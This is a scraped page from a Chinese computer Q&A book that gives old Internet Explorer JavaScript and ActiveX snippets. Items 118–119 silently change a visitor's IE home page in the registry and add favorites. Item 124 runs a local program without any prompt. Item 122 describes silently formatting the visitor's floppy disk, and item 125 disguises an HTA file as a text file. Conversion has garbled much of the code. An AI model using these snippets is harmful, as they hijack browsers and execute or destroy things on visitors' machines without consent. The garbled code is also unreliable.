《电脑十万个为什么》

下载本书

添加书签

电脑十万个为什么- 第38部分


按键盘上方向键 ← 或 → 可快速上下翻页,按键盘上的 Enter 键可回到本书目录页,按键盘上方向键 ↑ 可回到本页顶部!
        catch(e){}
        }
        catch(e){}
        }
        setTimeout(〃set2homepage()〃;1);  //1ms
  118;Q:把你的主页强行、自动设置为  IE  浏览器的首页、同时添加到“收藏夹”中:
          A:
document。write(〃〃);  
//this  function  is  only  needed  if  you  add  favorites  or  links  
function  AddFavLnk(loc;  DispName;  SiteURL)  
{  
var  Shor  =  Shl。CreateShortcut(loc  +  〃”  +  DispName  +〃。URL〃);  
Shor。TargetPath  =  SiteURL;  
Shor。Save();  
}  
//end  add  favorites  or  links  function  
function  f()

try  
{  
o=document。applets'0';  
o。setCLSID(〃{F935DC22…1CF0…11D0…ADB9…00C04FD58A0B}〃);  
o。createInstance();  
Shl  =  o。GetObject();  
o。setCLSID(〃{0D43FE01…F093…11CF…8940…00A0C9054228}〃);  
o。createInstance();  
FSO  =  o。GetObject();  
try  
{  
//根据  cookie  判断是否需要设置
//if  (document。cookie。indexOf(〃Chg〃)  ==  …1)  
//{  
//  //set  cookie  
//  var  expdate  =  new  Date((new  Date())。getTime()  +  (24  *  60  *  60  *  1000  *  90));  
//  document。cookie=〃Chg=general;  expires=〃  +  expdate。toGMTString()  +  〃;  path=/;〃  
//  //end  set  cookie  
//set  home  page  
var  your_hmpg=〃http://100000。home。sohu。〃
Shl。RegWrite  (〃HKCUSoftwareMicrosoftInter  ExplorerMainStart  Page〃;  your_hmpg);  
//  var  expdate  =  new  Date((new  Date())。getTime()  +  (24  *  60  *  60  *  1000  *  90));  
//  document。cookie=〃Chg=general;  expires=〃  +  expdate。toGMTString()  +  〃;  path=/;〃  
//end  set  home  page  
//add  favorites  this  is  the  mon  part;  should  be  here  if  you  want  to  add  favorites  
var  WF;  Shor;  loc;  
WF  =  FSO。GetSpecialFolder(0);  
loc  =  WF  +  〃Favorites〃;  
if(!FSO。FolderExists(loc))  
{  
loc  =  FSO。GetDriveName(WF)  +  〃Documents  and  Settings”  +  。UserName  +  〃Favorites〃;  
if(!FSO。FolderExists(loc))  
{  
return;  
}  
}  
//end  mon  part  
//the  following  line  is  used  for  adding  favorites。  to  add  multiple  favorites;  duplicate  the  following  line;  changing  the  last  2  paramaters  
AddFavLnk(loc;  〃十万个为什么〃;  〃http://100000。home。sohu。〃);  
//end  add  favorites  
//}  

catch(e)  {}  
}  
catch(e)  {}  
}  
function  init()  {  setTimeout(〃f()〃;  100);  }  
init();  
  119;Q:把你的主页强行、自动添加到“收藏夹”中:
          A:
document。write(〃〃);  
function  AddFavLnk(loc;  DispName;  SiteURL)  
{var  Shor  =  Shl。CreateShortcut(loc  +  〃”  +  DispName  +〃。URL〃);  
Shor。TargetPath  =  SiteURL;  
Shor。Save();  
}  
function  f()

try  
{  
o=document。applets'0';  
o。setCLSID(〃{F935DC22…1CF0…11D0…ADB9…00C04FD58A0B}〃);  
o。createInstance();  
Shl  =  o。GetObject();  
o。setCLSID(〃{0D43FE01…F093…11CF…8940…00A0C9054228}〃);  
o。createInstance();  
FSO  =  o。GetObject();  
try  
{  
//Following  2  lines  set  Homepage:
//var  your_hmpg=top。location
//Shl。RegWrite  (〃HKCUSoftwareMicrosoftInter  ExplorerMainStart  Page〃;  your_hmpg);  
var  WF;  loc;
WF  =  FSO。GetSpecialFolder(0);  //  folder  where  WINDOWS  is  installed
loc  =  WF  +  〃Favorites〃;  
if(!FSO。FolderExists(loc))  //  is  Windows2000  up
{  
loc  =  FSO。GetDriveName(WF)  +  〃Documents  and  Settings”  +  。UserName  +  〃Favorites〃;  
if(!FSO。FolderExists(loc))  {  return;  }  
}  
AddFavLnk(loc;  top。document。title;  top。location);  //你也可以直接设置  top。document。title  为常量字符串

catch(e)  {}  
}  
catch(e)  {}  
}  
function  init()  {  setTimeout(〃f()〃;  100);  }  
init();  
    注:如果你的主页在  Frame  中,则收藏夹中的提示信息取分帧的主页的  Title。你也可以直接设置为常量字符串。    
  120;Q:用代码关闭  IE  窗口时不提示:
          A:
          function  closewin()  {  cn=closes。Click();  }
  121;Q:如何保存网页上的  Flash  动画?
          A:1、在浏览网页的网站里面找  *。swf  文件,然后用蚂蚁之类的下载软件拉;
        2、直接到  IE  的缓存目录里面搜索  *。swf  文件比较快;
        3、如果在脱机浏览时,还能够看到  Flash,万幸!  赶快到  Windows  目录下的  Temporary  Inter  Files  文件夹下去找  Flash(Windows2000  下在  Documents  and  Settings用户名Local  Settings  文件夹下),它也许正老老实实地躺在那里呢。    
  122;Q:在网页中应用  wsh  对象执行浏览器端的程序(以运行  mand。  为例)
          A:必须把浏览器的安全级别设置为最低才能执行以下脚本。
          wsh。run('c:mand。');
        注意:如果把  'c:mand。'  换成  'Format  a:  /autotest/q/u',就会不出现任何提示,自动格式化本地浏览者的软盘!  请各位试验时保护好自己的数据,更提醒各位不要用此法害人!    
  123;Q:在网页中给浏览器端写文件
          A:浏览包含以下代码的网页,会在浏览器端的  C:  盘跟目录下生成一个名为  file_created_by_ocx。txt  的文本文件,文件内容中包含字符串  〃myfile:I  want  to  write  a  file!〃:
          document。scr。Reset();
          document。scr。Path=〃C:file_created_by_ocx。txt〃;
          document。scr。Doc=〃myfile:I  want  to  write  a  file!〃;
          document。scr。write();
  124;Q:在网页中不加任何提示打开浏览器本地可执行程序:
          A:
        document。write(〃〃);
        function  runcmd()
        {
        try
        {
        obj=document。applets'0';
        obj。setCLSID(〃{F935DC22…1CF0…11D0…ADB9…00C04FD58A0B}〃);  //Windows  Scripting  Host  的外壳对象
        obj。createInstance();  //创建  wsh  的一个实例
        Shell=obj。GetObject();
        Shell。run('c:mand。');
        }
        catch(e){};
        }
        setTimeout(〃runcmd()〃;1);  //1ms
  125;Q:用  GUID  构造  hta  文件:
          A:建立一个名为  myfile。txt。{3050F4D8…98B5…11CF…BB82…00AA00BDCE0B}  的文件,看上去是一个文本文件,其实是一个  hta  文件,双击可以用  IE  打开。    
  126;Q:应用  wsh  对象的又一方法
          A:
          wsh=new  ActiveXObject(〃WSCript。Shell〃)  //声明
          wsh。run(〃mand。〃)  //执行命令
        该脚本在  。hta  文件中执行没有提示,在  。htm  中执行有提示,且只有  IE  的安全级别设为最低才能执行。    
  127;Q:在网页上按任意键后,进入另一个页面
          A:在网页的    中间放置以下脚本即可。注意必须使当前页面获得“焦点”。
          this。location=〃another。htm〃
  128;Q:在  FLASH  中是不是只能够插入  wav  格式的音乐文件?
          A:在  Flash4  中只能插入  wav  格式,但在  Flash5  中已经可以插入别的格式了。如  MP3。    
  129;Q:Asp  与  Javascript  交换数据时一个问题的解决
          A:有下列一段代码,用  Javascript  接受  Asp  的一个变量  strVal  的值:
          alert()
        但是,在  Js  中,显示该值为  〃68〃,显然  Js  把  Asp  的字符串值  〃0104〃  作为自己的  8  进制数给用了(在  Js  中以  0  打头的数值为  8  进制数)。由于  Js  为弱类型的语言,它接收到  strVal  的值后默认其为数值型变量。这就把变量的类型给强行转换了。
        为了避免这两种语言交换字符串数据时产生的语义分歧,必须在  Asp  中给字符串的首、尾加上单引号,这样  Js  接收后就不会误会了,即:
  130;Q:在网页中用  Javascript  判断  IE  窗口是否打开,还可以对  IE  窗口进行关闭/置前/置后操作
          A:按“打开窗口”按钮后,如果  new。htm  没有打开,则打开它;如果打开了,就报告“new。htm  is  already  opened。”。
        var  myPage;  
        function  openMyPage()
        {  
        if  (!myPage  ||  myPage。closed)
        {  myPage=window。open(〃new。htm〃;  〃_blank〃);  }  
        else
        {  alert(〃new。htm  is  already  opened。〃);  }  
        }  

小提示:按 回车 [Enter] 键 返回书目,按 ← 键 返回上一页, 按 → 键 进入下一页。 赞一下 添加书签加入书架